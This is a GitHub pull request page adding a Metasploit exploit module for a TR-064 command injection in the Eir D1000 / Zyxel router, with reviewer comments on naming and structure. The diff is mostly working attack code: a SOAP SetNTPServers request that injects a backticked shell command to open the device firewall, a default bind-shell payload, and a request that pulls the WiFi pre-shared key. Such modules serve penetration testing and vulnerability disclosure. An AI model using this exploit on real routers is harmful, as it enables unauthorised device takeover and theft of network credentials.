Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add TR-064 command injection exploit (Zyxel / Eir D1000 Wireless Router) #7626

Merged
merged 20 commits into from
Jan 4, 2017
Merged
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
146 changes: 146 additions & 0 deletions modules/exploits/linux/http/tr069_ntpserver_cmdinject.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,146 @@
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Eir D1000 Modem CWMP Exploit POC',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is PoC needed in name? I don't see a payload encoded in here, but may be I missed it (mobile git sucks)

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Absolutely not; easy order of business is to retitle, re-describe, and re-reference the thing.

'Description' => %q{
This exploit drops the firewall to allow access to the web administration interface on port 80 and
it also retrieves the wifi password. The default login password to the web interface is the default wifi
password. This exploit was tested on firmware versions up to 2.00(AADU.5)_20150909.
},
'Author' =>
[
'Kenzo', # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Nov 07 2016',
'Privileged' => true,
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/mipsbe/shell_bind_tcp'
},
'Targets' =>
[
[ 'MIPS Little Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE
}
],
[ 'MIPS Big Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE
}
],
],
'DefaultTarget' => 1
))

register_options(
[
Opt::RPORT(7547), # CWMP port
], self.class)

@data_cmd_template = "<?xml version=\"1.0\"?>"
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This @data_cmd_template global needs to go.

@data_cmd_template << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
@data_cmd_template << " <SOAP-ENV:Body>"
@data_cmd_template << " <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\">"
@data_cmd_template << " <NewNTPServer1>%s</NewNTPServer1>"
@data_cmd_template << " <NewNTPServer2></NewNTPServer2>"
@data_cmd_template << " <NewNTPServer3></NewNTPServer3>"
@data_cmd_template << " <NewNTPServer4></NewNTPServer4>"
@data_cmd_template << " <NewNTPServer5></NewNTPServer5>"
@data_cmd_template << " </u:SetNTPServers>"
@data_cmd_template << " </SOAP-ENV:Body>"
@data_cmd_template << "</SOAP-ENV:Envelope>"
end

def check
begin
res = send_request_cgi({
'uri' => '/globe'
})
rescue ::Rex::ConnectionError
vprint_error("A connection error has occured")
return Exploit::CheckCode::Unknown
end

if res and res.code == 404 and res.body =~ /home_wan.htm/
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Escape the dot.

return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def exploit
print_status("Trying to access the device...")

unless check == Exploit::CheckCode::Appears
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
end

print_status("Exploiting...")
print_status("Dropping firewall on port 80...")
execute_command("`iptables -I INPUT -p tcp --dport 80 -j ACCEPT`","")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should we revert this after exploit completion? I'd hate to exploit a client and not realize/forget to fix this when done

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

So, this execute_command call here is copypasta from

https://github.com/rapid7/metasploit-framework/blob/cac890a797d0d770260074dfe703eb5cfb63bd46/modules/exploits/linux/http/linksys_themoon_exec.rb

I would rather just do the whole meterpreter thing here, rather than only have one specific, unchangable command.

key = get_wifi_key()
print_status("WiFi key is #{key}")
execute_command("tick.eircom.net","")
end

def execute_command(cmd, opts)
uri = '/UD/act?1'
soapaction = "urn:dslforum-org:service:Time:1#SetNTPServers"
data_cmd = @data_cmd_template % "#{cmd}"
begin
res = send_request_cgi({
'uri' => uri,
'ctype' => "text/xml",
'method' => 'POST',
'headers' => {
'SOAPAction' => soapaction,
},
'data' => data_cmd
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end

def get_wifi_key()
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

While kinda fun extraction, I'm unconvinced this whole get_wifi_key() thing is even necessary. Ideally, you already get a shell on the device, I expect you could extract the key locally.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could be converted to a post info grab

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah feels like a separate module.

print_status("Getting the wifi key...")
uri = '/UD/act?1'
soapaction = "urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys"
data_cmd_template = "<?xml version=\"1.0\"?>"
data_cmd_template << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
data_cmd_template << " <SOAP-ENV:Body>"
data_cmd_template << " <u:GetSecurityKeys xmlns:u=\"urn:dslforum-org:service:WLANConfiguration:1\">"
data_cmd_template << " </u:GetSecurityKeys>"
data_cmd_template << " </SOAP-ENV:Body>"
data_cmd_template << "</SOAP-ENV:Envelope>"
data_cmd= data_cmd_template

begin
res = send_request_cgi({
'uri' => uri,
'ctype' => "text/xml",
'method' => 'POST',
'headers' => {
'SOAPAction' => soapaction,
},
'data' => data_cmd
})

/NewPreSharedKey>(?<key>.*)<\/NewPreSharedKey/ =~ res.body
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This compare reads funny.

return key
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end